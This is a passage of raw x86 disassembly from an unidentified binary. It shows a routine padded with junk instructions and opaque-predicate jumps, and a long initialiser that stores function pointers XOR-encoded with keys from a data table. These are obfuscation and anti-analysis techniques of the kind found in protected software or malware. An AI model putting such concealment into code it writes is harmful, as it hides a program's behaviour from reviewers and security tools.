mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DBC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 0D00h
pop ebx
jo short loc_49655C
jl short loc_49655A
loc_496555: ; CODE XREF: sub_496526:loc_49655Aj
; sub_496526:loc_49655Cj
jmp short loc_49655E
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49655A: ; CODE XREF: sub_496526+2Dj
jz short loc_496555
loc_49655C: ; CODE XREF: sub_496526+2Bj
jmp short loc_496555
; ---------------------------------------------------------------------------
loc_49655E: ; CODE XREF: sub_496526:loc_496555j
sub bh, 5
dec bh
push eax
dec bh
dec bh
and eax, 41h
dec bh
sub bh, 3
pop eax
dec bh
and ah, bh
mov edx, 25h
dec dl
sub dl, 3
dec dl
sub dl, 17h
dec dl
dec dl
dec dl
dec dl
dec dl
and al, dl
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3EC
xor ecx, dword_4ED3F0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4965BA
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4965BA: ; CODE XREF: sub_496526+89j
mov eax, [ebp+var_8]
push eax
call off_4F1D44
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_496526 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4965CE proc near ; DATA XREF: .data:004ED28Co
push ebp
mov ebp, esp
call sub_4965D8
pop ebp
retn
sub_4965CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4965D8 proc near ; CODE XREF: sub_4965CE+3p
push ebp
mov ebp, esp
mov eax, offset sub_49FEC6
xor eax, dword_4ED2CC
xor eax, dword_4ED2D0
mov dword_4F36E8, eax
mov ecx, offset sub_4A0AF6
xor ecx, dword_4ED2CC
xor ecx, dword_4ED2D0
mov dword_4F36EC, ecx
mov edx, offset sub_49F7DF
xor edx, dword_4ED2CC
xor edx, dword_4ED2D4
mov dword_4F36F0, edx
mov eax, offset sub_4A1C87
xor eax, dword_4ED2CC
xor eax, dword_4ED2D8
mov dword_4F36F4, eax
mov ecx, offset sub_496526
xor ecx, dword_4ED2CC
xor ecx, dword_4ED2DC
mov dword_4F36F8, ecx
mov edx, offset sub_4A2B5F
xor edx, dword_4ED2CC
xor edx, dword_4ED2E0
mov dword_4F36FC, edx
mov eax, offset sub_4A0499
xor eax, dword_4ED2CC
xor eax, dword_4ED2E4
mov dword_4F3700, eax
mov ecx, offset sub_499286
xor ecx, dword_4ED2CC
xor ecx, dword_4ED2E8
mov dword_4F3704, ecx
mov edx, offset sub_49CC14
xor edx, dword_4ED2CC
xor edx, dword_4ED2EC
mov dword_4F3708, edx
mov eax, offset sub_49C873
xor eax, dword_4ED2CC
xor eax, dword_4ED2F0
mov dword_4F370C, eax
mov ecx, offset sub_4962AA
xor ecx, dword_4ED2CC
xor ecx, dword_4ED2F4
mov dword_4F3710, ecx
mov edx, offset sub_49526F
xor edx, dword_4ED2CC
xor edx, dword_4ED2F8
mov dword_4F3714, edx
mov eax, offset sub_49FB10
xor eax, dword_4ED2CC
xor eax, dword_4ED2FC
mov dword_4F3718, eax
mov ecx, offset sub_499CC7
xor ecx, dword_4ED2CC
xor ecx, dword_4ED300
mov dword_4F371C, ecx
mov edx, offset sub_49E379
xor edx, dword_4ED2CC
xor edx, dword_4ED304
mov dword_4F3720, edx
mov eax, offset sub_49B890
xor eax, dword_4ED2CC
xor eax, dword_4ED308
mov dword_4F3724, eax
mov ecx, offset sub_49CE90
xor ecx, dword_4ED2CC
xor ecx, dword_4ED30C
mov dword_4F3728, ecx
mov edx, offset sub_49DA55
xor edx, dword_4ED2CC
xor edx, dword_4ED310
mov dword_4F372C, edx
mov eax, offset sub_49D2A1
xor eax, dword_4ED2CC
xor eax, dword_4ED314
mov dword_4F3730, eax
mov ecx, offset sub_497CCC
xor ecx, dword_4ED2CC
xor ecx, dword_4ED318
mov dword_4F3734, ecx
mov edx, offset sub_4A1672
xor edx, dword_4ED2CC
xor edx, dword_4ED31C
mov dword_4F3738, edx
mov eax, offset sub_49A543
xor eax, dword_4ED2CC
xor eax, dword_4ED320
mov dword_4F373C, eax
mov ecx, offset sub_49823A
xor ecx, dword_4ED2CC
xor ecx, dword_4ED324
mov dword_4F3740, ecx
mov edx, offset sub_49C74A
xor edx, dword_4ED2CC
xor edx, dword_4ED328
mov dword_4F3744, edx
mov eax, offset sub_4A21F9
xor eax, dword_4ED2CC
xor eax, dword_4ED32C
mov dword_4F3748, eax
mov ecx, offset sub_49F081
xor ecx, dword_4ED2CC
xor ecx, dword_4ED330
mov dword_4F374C, ecx
mov edx, offset sub_495F54
xor edx, dword_4ED2CC
xor edx, dword_4ED334
mov dword_4F3750, edx
mov eax, offset sub_4A3313
xor eax, dword_4ED2CC
xor eax, dword_4ED338
mov dword_4F3754, eax
mov ecx, offset sub_49805F
xor ecx, dword_4ED2CC
xor ecx, dword_4ED33C
mov dword_4F3758, ecx
mov edx, offset sub_49E01E
xor edx, dword_4ED2CC
xor edx, dword_4ED340
mov dword_4F375C, edx
mov eax, offset sub_49F246
xor eax, dword_4ED2D0
xor eax, dword_4ED2CC
mov dword_4F3760, eax
mov ecx, offset sub_498F78
xor ecx, dword_4ED2D0
xor ecx, dword_4ED2D4
mov dword_4F3764, ecx
mov edx, offset sub_49A07B
xor edx, dword_4ED2D0
xor edx, dword_4ED2D4
mov dword_4F3768, edx
mov eax, offset sub_4A228D
xor eax, dword_4ED2D0
xor eax, dword_4ED2D8
mov dword_4F376C, eax
mov ecx, offset sub_4A35A2
xor ecx, dword_4ED2D0
xor ecx, dword_4ED2DC
mov dword_4F3770, ecx
mov edx, offset sub_49B69E
xor edx, dword_4ED2D0
xor edx, dword_4ED2E0
mov dword_4F3774, edx
mov eax, offset sub_499399
xor eax, dword_4ED2D0
xor eax, dword_4ED2E4
mov dword_4F3778, eax
mov ecx, offset sub_49602D
xor ecx, dword_4ED2D0
xor ecx, dword_4ED2E8
mov dword_4F377C, ecx
mov edx, offset sub_499FD4
xor edx, dword_4ED2D0
xor edx, dword_4ED2EC
mov dword_4F3780, edx
mov eax, offset sub_495835
xor eax, dword_4ED2D0
xor eax, dword_4ED2F0
mov dword_4F3784, eax
mov ecx, offset sub_4989E5
xor ecx, dword_4ED2D0
xor ecx, dword_4ED2F4
mov dword_4F3788, ecx
mov edx, offset sub_499C30
xor edx, dword_4ED2D0
xor edx, dword_4ED2F8
mov dword_4F378C, edx
mov eax, offset sub_49ACF4
xor eax, dword_4ED2D0
xor eax, dword_4ED2FC
mov dword_4F3790, eax
mov ecx, offset sub_4A2D20
xor ecx, dword_4ED2D0
xor ecx, dword_4ED300
mov dword_4F3794, ecx
mov edx, offset sub_495BCB
xor edx, dword_4ED2D0
xor edx, dword_4ED304
mov dword_4F3798, edx
mov eax, offset sub_49B480
xor eax, dword_4ED2D0
xor eax, dword_4ED308
mov dword_4F379C, eax
mov ecx, offset sub_4A09BE
xor ecx, dword_4ED2D0
xor ecx, dword_4ED30C
mov dword_4F37A0, ecx
mov edx, offset sub_49E16E
xor edx, dword_4ED2D0
xor edx, dword_4ED310
mov dword_4F37A4, edx
mov eax, offset sub_49AEE0
xor eax, dword_4ED2D0
xor eax, dword_4ED314
mov dword_4F37A8, eax
mov ecx, offset sub_49ECF9
xor ecx, dword_4ED2D0
xor ecx, dword_4ED318
mov dword_4F37AC, ecx
mov edx, offset sub_4999E5
xor edx, dword_4ED2D0
xor edx, dword_4ED31C
mov dword_4F37B0, edx
mov eax, offset sub_4985C8
xor eax, dword_4ED2D0
xor eax, dword_4ED320
mov dword_4F37B4, eax
mov ecx, offset sub_49E97C
xor ecx, dword_4ED2D0
xor ecx, dword_4ED324
mov dword_4F37B8, ecx
mov edx, offset sub_49CA28
xor edx, dword_4ED2D0
xor edx, dword_4ED328
mov dword_4F37BC, edx
mov eax, offset sub_498394
xor eax, dword_4ED2D0
xor eax, dword_4ED32C
mov dword_4F37C0, eax
mov ecx, offset sub_49DD2D
xor ecx, dword_4ED2D0
xor ecx, dword_4ED330
mov dword_4F37C4, ecx
mov edx, offset sub_4A2312
xor edx, dword_4ED2D0
xor edx, dword_4ED334
mov dword_4F37C8, edx
mov eax, offset sub_4A3197
xor eax, dword_4ED2D0
xor eax, dword_4ED338
mov dword_4F37CC, eax
mov ecx, offset sub_49A456
xor ecx, dword_4ED2D0
xor ecx, dword_4ED33C
mov dword_4F37D0, ecx
mov edx, offset sub_4A2FB3
xor edx, dword_4ED2D0
xor edx, dword_4ED340
mov dword_4F37D4, edx
mov eax, offset sub_49C98D
xor eax, dword_4ED2D4
xor eax, dword_4ED2CC
mov dword_4F37D8, eax
mov ecx, offset sub_498C43
xor ecx, dword_4ED2D4
xor ecx, dword_4ED2D0
mov dword_4F37DC, ecx
mov edx, offset sub_49AA5D
xor edx, dword_4ED2D4
xor edx, dword_4ED2D8
mov dword_4F37E0, edx
mov eax, offset sub_49D86B
xor eax, dword_4ED2D4
xor eax, dword_4ED2D8
mov dword_4F37E4, eax
mov ecx, offset sub_49DE9B
xor ecx, dword_4ED2D4
xor ecx, dword_4ED2DC
mov dword_4F37E8, ecx
mov edx, offset sub_49D502
xor edx, dword_4ED2D4
xor edx, dword_4ED2E0
mov dword_4F37EC, edx
mov eax, offset sub_49CAE2
xor eax, dword_4ED2D4
xor eax, dword_4ED2E4
mov dword_4F37F0, eax
mov ecx, offset sub_499B77
xor ecx, dword_4ED2D4
xor ecx, dword_4ED2E8
mov dword_4F37F4, ecx
mov edx, offset sub_495A73
xor edx, dword_4ED2D4
xor edx, dword_4ED2EC
mov dword_4F37F8, edx
mov eax, offset sub_4A0A56
xor eax, dword_4ED2D4
xor eax, dword_4ED2F0
mov dword_4F37FC, eax
mov ecx, offset sub_49A261
xor ecx, dword_4ED2D4
xor ecx, dword_4ED2F4
mov dword_4F3800, ecx
mov edx, offset sub_49E8B3
xor edx, dword_4ED2D4
xor edx, dword_4ED2F8
mov dword_4F3804, edx
mov eax, offset sub_49BB7F
xor eax, dword_4ED2D4
xor eax, dword_4ED2FC
mov dword_4F3808, eax
mov ecx, offset sub_4A2697
xor ecx, dword_4ED2D4
xor ecx, dword_4ED300
mov dword_4F380C, ecx
mov edx, offset sub_49C0D6
xor edx, dword_4ED2D4
xor edx, dword_4ED304
mov dword_4F3810, edx
mov eax, offset sub_496381
xor eax, dword_4ED2D4
xor eax, dword_4ED308
mov dword_4F3814, eax
mov ecx, offset sub_4982C0
xor ecx, dword_4ED2D4
xor ecx, dword_4ED30C
mov dword_4F3818, ecx
mov edx, offset sub_497E12
xor edx, dword_4ED2D4
xor edx, dword_4ED310
mov dword_4F381C, edx
mov eax, offset sub_49FDFE
xor eax, dword_4ED2D4
xor eax, dword_4ED314
mov dword_4F3820, eax
mov ecx, offset sub_4A2762
xor ecx, dword_4ED2D4
xor ecx, dword_4ED318
mov dword_4F3824, ecx
mov edx, offset sub_4A07C6
xor edx, dword_4ED2D4
xor edx, dword_4ED31C
mov dword_4F3828, edx
mov eax, offset sub_49F478
xor eax, dword_4ED2D4
xor eax, dword_4ED320
mov dword_4F382C, eax
mov ecx, offset sub_49A702
xor ecx, dword_4ED2D4
xor ecx, dword_4ED324
mov dword_4F3830, ecx
mov edx, offset sub_4A2138
xor edx, dword_4ED2D4
xor edx, dword_4ED328
mov dword_4F3834, edx
mov eax, offset sub_4A2AC5
xor eax, dword_4ED2D4
xor eax, dword_4ED32C
mov dword_4F3838, eax
mov ecx, offset sub_4A0F6F
xor ecx, dword_4ED2D4
xor ecx, dword_4ED330
mov dword_4F383C, ecx
mov edx, offset sub_49C5D4
xor edx, dword_4ED2D4
xor edx, dword_4ED334
mov dword_4F3840, edx
mov eax, offset sub_49FFBA
xor eax, dword_4ED2D4
xor eax, dword_4ED338
mov dword_4F3844, eax
mov ecx, offset sub_499AF4
xor ecx, dword_4ED2D4
xor ecx, dword_4ED33C
mov dword_4F3848, ecx
mov edx, offset sub_49591C
xor edx, dword_4ED2D4
xor edx, dword_4ED340
mov dword_4F384C, edx
mov eax, offset sub_49B95C
xor eax, dword_4ED2D8
xor eax, dword_4ED2CC
mov dword_4F3850, eax
mov ecx, offset sub_49A9A8
xor ecx, dword_4ED2D8
xor ecx, dword_4ED2D0
mov dword_4F3854, ecx
mov edx, offset sub_49F983
xor edx, dword_4ED2D8
xor edx, dword_4ED2D4
mov dword_4F3858, edx
mov eax, offset sub_49961E
xor eax, dword_4ED2D8
xor eax, dword_4ED2DC
mov dword_4F385C, eax
mov ecx, offset sub_49C7E4
xor ecx, dword_4ED2D8
xor ecx, dword_4ED2DC
mov dword_4F3860, ecx
mov edx, offset sub_49A789
xor edx, dword_4ED2D8
xor edx, dword_4ED2E0
mov dword_4F3864, edx
mov eax, offset sub_4A2083
xor eax, dword_4ED2D8
xor eax, dword_4ED2E4
mov dword_4F3868, eax
mov ecx, offset sub_49DDD2
xor ecx, dword_4ED2D8
xor ecx, dword_4ED2E8
mov dword_4F386C, ecx
mov edx, offset sub_49B322
xor edx, dword_4ED2D8
xor edx, dword_4ED2EC
mov dword_4F3870, edx
mov eax, offset sub_499ED8
xor eax, dword_4ED2D8
xor eax, dword_4ED2F0
mov dword_4F3874, eax
mov ecx, offset sub_495547
xor ecx, dword_4ED2D8
xor ecx, dword_4ED2F4
mov dword_4F3878, ecx
mov edx, offset sub_49A84F
xor edx, dword_4ED2D8
xor edx, dword_4ED2F8
mov dword_4F387C, edx
mov eax, offset sub_49EBC7
xor eax, dword_4ED2D8
xor eax, dword_4ED2FC
mov dword_4F3880, eax
mov ecx, offset sub_4954BD
xor ecx, dword_4ED2D8
xor ecx, dword_4ED300
mov dword_4F3884, ecx
mov edx, offset sub_49BEF2
xor edx, dword_4ED2D8
xor edx, dword_4ED304
mov dword_4F3888, edx
mov eax, offset sub_49B14F
xor eax, dword_4ED2D8
xor eax, dword_4ED308
mov dword_4F388C, eax
mov ecx, offset sub_4A2956
xor ecx, dword_4ED2D8
xor ecx, dword_4ED30C
mov dword_4F3890, ecx
mov edx, offset sub_4A0C75
xor edx, dword_4ED2D8
xor edx, dword_4ED310
mov dword_4F3894, edx
mov eax, offset sub_498DD8
xor eax, dword_4ED2D8
xor eax, dword_4ED314
mov dword_4F3898, eax
mov ecx, offset sub_498EB8
xor ecx, dword_4ED2D8
xor ecx, dword_4ED318
mov dword_4F389C, ecx
mov edx, offset sub_4A1925
xor edx, dword_4ED2D8
xor edx, dword_4ED31C
mov dword_4F38A0, edx
mov eax, offset sub_4959C8
xor eax, dword_4ED2D8
xor eax, dword_4ED320
mov dword_4F38A4, eax
mov ecx, offset sub_49EF50
xor ecx, dword_4ED2D8
xor ecx, dword_4ED324
mov dword_4F38A8, ecx
mov edx, offset sub_4980E0
xor edx, dword_4ED2D8
xor edx, dword_4ED328
mov dword_4F38AC, edx
mov eax, offset sub_49DBDA
xor eax, dword_4ED2D8
xor eax, dword_4ED32C
mov dword_4F38B0, eax
mov ecx, offset sub_49568F
xor ecx, dword_4ED2D8
xor ecx, dword_4ED330
mov dword_4F38B4, ecx
mov edx, offset sub_4A0875
xor edx, dword_4ED2D8
xor edx, dword_4ED334
mov dword_4F38B8, edx
mov eax, offset sub_4A3527
xor eax, dword_4ED2D8
xor eax, dword_4ED338
mov dword_4F38BC, eax
mov ecx, offset sub_49D65B
xor ecx, dword_4ED2D8
xor ecx, dword_4ED33C
mov dword_4F38C0, ecx
mov edx, offset sub_49F54E
xor edx, dword_4ED2D8
xor edx, dword_4ED340
mov dword_4F38C4, edx
mov eax, offset sub_4A2EAD
xor eax, dword_4ED2DC
xor eax, dword_4ED2CC
mov dword_4F38C8, eax
mov ecx, offset sub_4A1FE3
xor ecx, dword_4ED2DC
xor ecx, dword_4ED2D0
mov dword_4F38CC, ecx
mov edx, offset sub_4A120D
xor edx, dword_4ED2DC
xor edx, dword_4ED2D4
mov dword_4F38D0, edx
mov eax, offset sub_49D9C7
xor eax, dword_4ED2DC
xor eax, dword_4ED2D8
mov dword_4F38D4, eax
mov ecx, offset sub_4A174B
xor ecx, dword_4ED2DC
xor ecx, dword_4ED2E0
mov dword_4F38D8, ecx
mov edx, offset sub_4961D1
xor edx, dword_4ED2DC
xor edx, dword_4ED2E0
mov dword_4F38DC, edx
mov eax, offset sub_4A2605
xor eax, dword_4ED2DC
xor eax, dword_4ED2E4
mov dword_4F38E0, eax
mov ecx, offset sub_498B94
xor ecx, dword_4ED2DC
xor ecx, dword_4ED2E8
mov dword_4F38E4, ecx
mov edx, offset sub_49FA2C
xor edx, dword_4ED2DC
xor edx, dword_4ED2EC
mov dword_4F38E8, edx
mov eax, offset sub_4A10E7
xor eax, dword_4ED2DC
xor eax, dword_4ED2F0
mov dword_4F38EC, eax
mov ecx, offset sub_4A0EBB
xor ecx, dword_4ED2DC
xor ecx, dword_4ED2F4
mov dword_4F38F0, ecx
mov edx, offset sub_49D360
xor edx, dword_4ED2DC
xor edx, dword_4ED2F8
mov dword_4F38F4, edx
mov eax, offset sub_4A19CF
xor eax, dword_4ED2DC
xor eax, dword_4ED2FC
mov dword_4F38F8, eax
mov ecx, offset sub_49D446
xor ecx, dword_4ED2DC
xor ecx, dword_4ED300
mov dword_4F38FC, ecx
mov edx, offset sub_4A1A72
xor edx, dword_4ED2DC
xor edx, dword_4ED304
mov dword_4F3900, edx
mov eax, offset sub_49C177
xor eax, dword_4ED2DC
xor eax, dword_4ED308
mov dword_4F3904, eax
mov ecx, offset sub_49850A
xor ecx, dword_4ED2DC
xor ecx, dword_4ED30C
mov dword_4F3908, ecx
mov edx, offset sub_49B29C
xor edx, dword_4ED2DC
xor edx, dword_4ED310
mov dword_4F390C, edx
mov eax, offset sub_49B1F8
xor eax, dword_4ED2DC
xor eax, dword_4ED314
mov dword_4F3910, eax
mov ecx, offset sub_4A2579
xor ecx, dword_4ED2DC
xor ecx, dword_4ED318
mov dword_4F3914, ecx
mov edx, offset sub_49B7FC
xor edx, dword_4ED2DC
xor edx, dword_4ED31C
mov dword_4F3918, edx
mov eax, offset sub_4A0DD4
xor eax, dword_4ED2DC
xor eax, dword_4ED320
mov dword_4F391C, eax
mov ecx, offset sub_496126
xor ecx, dword_4ED2DC
xor ecx, dword_4ED324
mov dword_4F3920, ecx
mov edx, offset sub_49F152
xor edx, dword_4ED2DC
xor edx, dword_4ED328
mov dword_4F3924, edx
mov eax, offset sub_4955CD
xor eax, dword_4ED2DC
xor eax, dword_4ED32C
mov dword_4F3928, eax
mov ecx, offset sub_49CB87
xor ecx, dword_4ED2DC
xor ecx, dword_4ED330
mov dword_4F392C, ecx
mov edx, offset sub_49E7E2
xor edx, dword_4ED2DC
xor edx, dword_4ED334
mov dword_4F3930, edx
mov eax, offset sub_49AF99
xor eax, dword_4ED2DC
xor eax, dword_4ED338
mov dword_4F3934, eax
mov ecx, offset sub_49DB26
xor ecx, dword_4ED2DC
xor ecx, dword_4ED33C
mov dword_4F3938, ecx
mov edx, offset sub_4A305B
xor edx, dword_4ED2DC
xor edx, dword_4ED340
mov dword_4F393C, edx
mov eax, offset sub_4991C7
xor eax, dword_4ED2E0
xor eax, dword_4ED2CC
mov dword_4F3940, eax
mov ecx, offset sub_49EDE3
xor ecx, dword_4ED2E0
xor ecx, dword_4ED2D0
mov dword_4F3944, ecx
mov edx, offset sub_49BD56
xor edx, dword_4ED2E0
xor edx, dword_4ED2D4
mov dword_4F3948, edx
mov eax, offset sub_49818A
xor eax, dword_4ED2E0
xor eax, dword_4ED2D8
mov dword_4F394C, eax
mov ecx, offset sub_49AC45
xor ecx, dword_4ED2E0
xor ecx, dword_4ED2DC
mov dword_4F3950, ecx
mov edx, offset sub_4A17F2
xor edx, dword_4ED2E0
xor edx, dword_4ED2E4
mov dword_4F3954, edx
mov eax, offset sub_497D6E
xor eax, dword_4ED2E0
xor eax, dword_4ED2E4
mov dword_4F3958, eax
mov ecx, offset sub_499701
xor ecx, dword_4ED2E0
xor ecx, dword_4ED2E8
mov dword_4F395C, ecx
mov edx, offset sub_4A1875
xor edx, dword_4ED2E0
xor edx, dword_4ED2EC
mov dword_4F3960, edx
mov eax, offset sub_4A1B8A
xor eax, dword_4ED2E0
xor eax, dword_4ED2F0
mov dword_4F3964, eax
mov ecx, offset sub_498423
xor ecx, dword_4ED2E0
xor ecx, dword_4ED2F4
mov dword_4F3968, ecx
mov edx, offset sub_499E2C
xor edx, dword_4ED2E0
xor edx, dword_4ED2F8
mov dword_4F396C, edx
mov eax, offset sub_498865
xor eax, dword_4ED2E0
xor eax, dword_4ED2FC
mov dword_4F3970, eax
mov ecx, offset sub_49E4C9
xor ecx, dword_4ED2E0
xor ecx, dword_4ED300
mov dword_4F3974, ecx
mov edx, offset sub_49C675
xor edx, dword_4ED2E0
xor edx, dword_4ED304
mov dword_4F3978, edx
mov eax, offset sub_4953F2
xor eax, dword_4ED2E0
xor eax, dword_4ED308
mov dword_4F397C, eax
mov ecx, offset sub_49E703
xor ecx, dword_4ED2E0
xor ecx, dword_4ED30C
mov dword_4F3980, ecx
mov edx, offset sub_49F6DA
xor edx, dword_4ED2E0
xor edx, dword_4ED310
mov dword_4F3984, edx
mov eax, offset sub_4A33B5
xor eax, dword_4ED2E0
xor eax, dword_4ED314
mov dword_4F3988, eax
mov ecx, offset sub_4A30FC
xor ecx, dword_4ED2E0
xor ecx, dword_4ED318
mov dword_4F398C, ecx
mov edx, offset sub_49A91B
xor edx, dword_4ED2E0
xor edx, dword_4ED31C
mov dword_4F3990, edx
mov eax, offset sub_4A013E
xor eax, dword_4ED2E0
xor eax, dword_4ED320
mov dword_4F3994, eax
mov ecx, offset sub_4A118D
xor ecx, dword_4ED2E0
xor ecx, dword_4ED324
mov dword_4F3998, ecx
mov edx, offset sub_499D89
xor edx, dword_4ED2E0
xor edx, dword_4ED328
mov dword_4F399C, edx
mov eax, offset sub_49DC90
xor eax, dword_4ED2E0
xor eax, dword_4ED32C
mov dword_4F39A0, eax
mov ecx, offset sub_499502
xor ecx, dword_4ED2E0
xor ecx, dword_4ED330
mov dword_4F39A4, ecx
mov edx, offset sub_495DD2
xor edx, dword_4ED2E0
xor edx, dword_4ED334
mov dword_4F39A8, edx
mov eax, offset sub_499304
xor eax, dword_4ED2E0
xor eax, dword_4ED338
mov dword_4F39AC, eax
mov ecx, offset sub_49F3CF
xor ecx, dword_4ED2E0
xor ecx, dword_4ED33C
mov dword_4F39B0, ecx
mov edx, offset sub_499022
xor edx, dword_4ED2E0
xor edx, dword_4ED340
mov dword_4F39B4, edx
mov eax, offset sub_49BA7B
xor eax, dword_4ED2E4
xor eax, dword_4ED2CC
mov dword_4F39B8, eax
mov ecx, offset sub_49E0DC
xor ecx, dword_4ED2E4
xor ecx, dword_4ED2D0
mov dword_4F39BC, ecx
mov edx, offset sub_49BE38
xor edx, dword_4ED2E4
xor edx, dword_4ED2D4
mov dword_4F39C0, edx
mov eax, offset sub_49AB5B
xor eax, dword_4ED2E4
xor eax, dword_4ED2D8
mov dword_4F39C4, eax
mov ecx, offset sub_49CDBB
xor ecx, dword_4ED2E4
xor ecx, dword_4ED2DC
mov dword_4F39C8, ecx
mov edx, offset sub_49C3E1
xor edx, dword_4ED2E4
xor edx, dword_4ED2E0
mov dword_4F39CC, edx
mov eax, offset sub_49942C
xor eax, dword_4ED2E4
xor eax, dword_4ED2E8
mov dword_4F39D0, eax
mov ecx, offset sub_495D4D
xor ecx, dword_4ED2E4
xor ecx, dword_4ED2E8
mov dword_4F39D4, ecx
mov edx, offset sub_499942
xor edx, dword_4ED2E4
xor edx, dword_4ED2EC
mov dword_4F39D8, edx
mov eax, offset sub_49D7B9
xor eax, dword_4ED2E4
xor eax, dword_4ED2F0
mov dword_4F39DC, eax
mov ecx, offset sub_4A135E
xor ecx, dword_4ED2E4
xor ecx, dword_4ED2F4
mov dword_4F39E0, ecx
mov edx, offset sub_49FBD3
xor edx, dword_4ED2E4
xor edx, dword_4ED2F8
mov dword_4F39E4, edx
mov eax, offset sub_4997AD
xor eax, dword_4ED2E4
xor eax, dword_4ED2FC
mov dword_4F39E8, eax
mov ecx, offset sub_49C24E
xor ecx, dword_4ED2E4
xor ecx, dword_4ED300
mov dword_4F39EC, ecx
mov edx, offset sub_49E21F
xor edx, dword_4ED2E4
xor edx, dword_4ED304
mov dword_4F39F0, edx
mov eax, offset sub_4A008B
xor eax, dword_4ED2E4
xor eax, dword_4ED308
mov dword_4F39F4, eax
mov ecx, offset sub_49A2FF
xor ecx, dword_4ED2E4
xor ecx, dword_4ED30C
mov dword_4F39F8, ecx
mov edx, offset sub_4951DA
xor edx, dword_4ED2E4
xor edx, dword_4ED310
mov dword_4F39FC, edx
mov eax, offset sub_498792
xor eax, dword_4ED2E4
xor eax, dword_4ED314
mov dword_4F3A00, eax
mov ecx, offset sub_49A102
xor ecx, dword_4ED2E4
xor ecx, dword_4ED318
mov dword_4F3A04, ecx
mov edx, offset sub_49BC4B
xor edx, dword_4ED2E4
xor edx, dword_4ED31C
mov dword_4F3A08, edx
mov eax, offset sub_49A384
xor eax, dword_4ED2E4
xor eax, dword_4ED320
mov dword_4F3A0C, eax
mov ecx, offset sub_49512C
xor ecx, dword_4ED2E4
xor ecx, dword_4ED324
mov dword_4F3A10, ecx
mov edx, offset sub_4A0D39
xor edx, dword_4ED2E4
xor edx, dword_4ED328
mov dword_4F3A14, edx
mov eax, offset sub_49B5EE
xor eax, dword_4ED2E4
xor eax, dword_4ED32C
mov dword_4F3A18, eax
mov ecx, offset sub_4A1D38
xor ecx, dword_4ED2E4
xor ecx, dword_4ED330
mov dword_4F3A1C, ecx
mov edx, offset sub_49E2E4
xor edx, dword_4ED2E4
xor edx, dword_4ED334
mov dword_4F3A20, edx
mov eax, offset sub_49E56E
xor eax, dword_4ED2E4
xor eax, dword_4ED338
mov dword_4F3A24, eax
mov ecx, offset sub_4A0717
xor ecx, dword_4ED2E4
xor ecx, dword_4ED33C
mov dword_4F3A28, ecx
mov edx, offset sub_495743
xor edx, dword_4ED2E4
xor edx, dword_4ED340
mov dword_4F3A2C, edx
mov eax, offset sub_4A28AC
xor eax, dword_4ED2E8
xor eax, dword_4ED2CC
mov dword_4F3A30, eax
mov ecx, offset sub_499589
xor ecx, dword_4ED2E8
xor ecx, dword_4ED2D0
mov dword_4F3A34, ecx
mov edx, offset sub_49FC5D
xor edx, dword_4ED2E8
xor edx, dword_4ED2D4
mov dword_4F3A38, edx
mov eax, offset sub_4A041E
xor eax, dword_4ED2E8
xor eax, dword_4ED2D8
mov dword_4F3A3C, eax
mov ecx, offset sub_49DF6B
xor ecx, dword_4ED2E8
xor ecx, dword_4ED2DC
mov dword_4F3A40, ecx
mov edx, offset sub_49EA3A
xor edx, dword_4ED2E8
xor edx, dword_4ED2E0
mov dword_4F3A44, edx
mov eax, offset sub_49EC69
xor eax, dword_4ED2E8
xor eax, dword_4ED2E4
mov dword_4F3A48, eax
mov ecx, offset sub_4A0919
xor ecx, dword_4ED2E8
xor ecx, dword_4ED2EC
mov dword_4F3A4C, ecx
mov edx, offset sub_49FD2C
xor edx, dword_4ED2E8
xor edx, dword_4ED2EC
mov dword_4F3A50, edx
mov eax, offset sub_498A8F
xor eax, dword_4ED2E8
xor eax, dword_4ED2F0
mov dword_4F3A54, eax
mov ecx, offset sub_4A12D7
xor ecx, dword_4ED2E8
xor ecx, dword_4ED2F4
mov dword_4F3A58, ecx
mov edx, offset sub_49F8CA
xor edx, dword_4ED2E8
xor edx, dword_4ED2F8
mov dword_4F3A5C, edx
mov eax, offset sub_4A2A29
xor eax, dword_4ED2E8
xor eax, dword_4ED2FC
mov dword_4F3A60, eax
mov ecx, offset sub_4A1F6A
xor ecx, dword_4ED2E8
xor ecx, dword_4ED300
mov dword_4F3A64, ecx
mov edx, offset sub_495329
xor edx, dword_4ED2E8
xor edx, dword_4ED304
mov dword_4F3A68, edx
mov eax, offset sub_4A101A
xor eax, dword_4ED2E8
xor eax, dword_4ED308
mov dword_4F3A6C, eax
mov ecx, offset sub_49D0AC
xor ecx, dword_4ED2E8
xor ecx, dword_4ED30C
mov dword_4F3A70, ecx
mov edx, offset sub_4A2494
xor edx, dword_4ED2E8
xor edx, dword_4ED310
mov dword_4F3A74, edx
mov eax, offset sub_4A2806
xor eax, dword_4ED2E8
xor eax, dword_4ED314
mov dword_4F3A78, eax
mov ecx, offset sub_49B0A6
xor ecx, dword_4ED2E8
xor ecx, dword_4ED318
mov dword_4F3A7C, ecx
mov edx, offset sub_4A349B
xor edx, dword_4ED2E8
xor edx, dword_4ED31C
mov dword_4F3A80, edx
mov eax, offset sub_49E436
xor eax, dword_4ED2E8
xor eax, dword_4ED320
mov dword_4F3A84, eax
mov ecx, offset sub_4A326F
xor ecx, dword_4ED2E8
xor ecx, dword_4ED324
mov dword_4F3A88, ecx
mov edx, offset sub_4A0331
xor edx, dword_4ED2E8
xor edx, dword_4ED328
mov dword_4F3A8C, edx
mov eax, offset sub_49D923
xor eax, dword_4ED2E8
xor eax, dword_4ED32C
mov dword_4F3A90, eax
mov ecx, offset sub_4A064A
xor ecx, dword_4ED2E8
xor ecx, dword_4ED330
mov dword_4F3A94, ecx
mov edx, offset sub_49D00C
xor edx, dword_4ED2E8
xor edx, dword_4ED334
mov dword_4F3A98, edx
mov eax, offset sub_4A14D9
xor eax, dword_4ED2E8
xor eax, dword_4ED338
mov dword_4F3A9C, eax
mov ecx, offset sub_4A0BE5
